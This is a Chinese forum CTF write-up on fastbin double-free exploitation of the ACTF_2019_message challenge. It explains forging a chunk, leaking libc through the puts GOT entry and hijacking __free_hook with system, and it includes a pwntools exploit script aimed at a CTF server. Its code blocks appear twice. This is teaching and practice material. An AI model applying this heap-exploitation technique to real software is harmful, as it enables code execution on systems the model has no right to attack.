首页
社区
课程
招聘
[原创]Pwn堆利用学习—— Fastbin-Double-Free ——ACTF_2019_message
发表于: 2020-11-30 22:02 13002

[原创]Pwn堆利用学习—— Fastbin-Double-Free ——ACTF_2019_message

2020-11-30 22:02
13002

image-20201109171608159

image-20201109181939677

image-20201109182024644

image-20201109182043212

image-20201109182135617

image-20201109182156188

所以,利用点只有delete函数里的free。我们可以在全局变量message那里伪造chunk。查看一下message数组

image-20201109195342200

由于RELRO是FULL RELRO,此时got表不可写。

libc中有一些hook函数,比如__mallochook、\_free_hook函数:

__free_hook的参数和free的参数一样,是chunk本身,所以我们可以先输入/bin/sh,然后把__free_hook替换为system函数

b. double free,为了方便,我们在message的第1个元素附近伪造chunk,message[0]存长度,地址是0x602060;message[1]存第一个chunk的指针,地址是0x602068。那么伪造chunk的结构如下:

这个size是我们创建chunk的时候输入的,即脚本调用add函数时,我们没有其他地方可以去操作它,如果我们按照之前的方法:1⃣️malloc 3个0x20大小的chunk0,1,2 --> 2⃣️free 0,1,0 --> 3⃣️malloc 0 ,1 --> 4⃣️伪造chunk --> 5⃣️malloc 0 --> 6⃣️malloc fake chunk获取栈上内存。由于malloc的大小是0x20,malloc出来的chunk大小是0x30,在fastbin中chunk 0,1,2,fake都是0x30,当第6⃣️步的时候,在fastbin中fake chunk的大小是0x30,但在栈内存0x602060却是我们创建chunk 0 时输入的0x20,这就会出问题。

因此,我们如此构造double free:让chunk 0 的数据部分大小是0x30,chunk 1,2 的是0x20,然后对chunk 1 double free。

image-20201110140234146

c. 伪造chunk,fake chunk的“prev_size”地址是0x602058。

image-20201110140958480

d. 继续malloc

image-20201110141606964

e. malloc fake chunk,把puts函数got表地址覆写到栈里的message[1],然后调用show函数,打印got表里puts函数的真实地址,然后利用真实地址计算libc基址,进而计算出system函数和free_hook函数的真实地址。

image-20201110171418875

f. 将free_hook的地址写入到某个可编辑的地方,这里把它写到chunk 6,即fake chunk。因为创造的时候add(0x20,p64(elf.got['puts'])) 是把我们伪造的chunk (0x602058)给chunk 6,所以malloc返回的指针指向0x602068,即把0x602068给了message[13],那调用edit函数就能把free_hook函数的地址通过read函数给写入到0x602068里。

image-20201110181351915

g. 把system函数的真实地址写到free_hook函数的真实地址里,劫持free_hook函数

image-20201110182658242

h. 创建一个chunk 7,内容为“/bin/sh”,然后free它,检测到free_hook存在,就会调用它,而且“/bin/sh”作为free_hook的参数。然而,此时我们把system的地址写到了free_hook的地址里,那么就相当于调用了system("/bin/sh")。

image-20201110183639632

$ file ACTF_2019_message
ACTF_2019_message: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4c36562e8013f5ee8cebdc5cfb401ca5221971c, stripped
$ checksec --file=ACTF_2019_message
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No    0        3        ACTF_2019_message
$ file ACTF_2019_message
ACTF_2019_message: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4c36562e8013f5ee8cebdc5cfb401ca5221971c, stripped
$ checksec --file=ACTF_2019_message
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No    0        3        ACTF_2019_message
 
 
 
 
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './ACTF_2019_message'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
_add,_free,_edit,_show = 1,2,3,4
def add(size,content='a'):
        sla(':',_add)
        sla(':',size)
        sa(':',content)
 
def free(index):
        sla(':',_free)
        sla(':',index)
 
def edit(index,content):
        sla(':',_edit)
        sla(':',index)
        sa(':',content)
 
def show(index):
        sla(':',_show)
        sla(':',index)
 
p.interactive()
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './ACTF_2019_message'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
_add,_free,_edit,_show = 1,2,3,4
def add(size,content='a'):
        sla(':',_add)
        sla(':',size)
        sa(':',content)
 
def free(index):
        sla(':',_free)
        sla(':',index)
 
def edit(index,content):
        sla(':',_edit)
        sla(':',index)
        sa(':',content)
 
def show(index):
        sla(':',_show)
        sla(':',index)
 
p.interactive()
0x602058 -----------------------
                prev size
0x602060 -----------------------
                   size
0x602068 -----------------------
                            fake chunk
                            user data
0x602070 -----------------------
                  ...
0x602058 -----------------------
                prev size
0x602060 -----------------------
                   size
0x602068 -----------------------
                            fake chunk
                            user data
0x602070 -----------------------
                  ...
 
add(0x30) # 0
add(0x20) # 1
add(0x20) # 2
free(1)
free(2)
free(1)
add(0x30) # 0
add(0x20) # 1
add(0x20) # 2
free(1)
free(2)
free(1)
 
fake = 0x602060-0x8
add(0x20,p64(fake)) # 3 <-> 1
fake = 0x602060-0x8
add(0x20,p64(fake)) # 3 <-> 1
 
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1
 
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
show(0)
 
ru(': ')
puts = uu64(r(6))
print('puts address:'+hex(puts))
 
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
show(0)
 
ru(': ')
puts = uu64(r(6))
print('puts address:'+hex(puts))
 
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')
 
edit(6,p64(free_hook))
edit(6,p64(free_hook))

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2020-11-30 22:25 被ztree编辑 ,原因: 添加附件
上传的附件:
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2

 fastbin size不检查吗?


2021-7-3 21:53
0
雪    币: 10984
活跃值: (7768)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
3
撸代码的猫 &nbsp;fastbin size不检查吗?
这里malloc的参数是0x20,和前面申请chunk 1 时候malloc的大小是一样的。
2021-7-4 10:13
0
游客
登录 | 注册 方可回帖
返回
//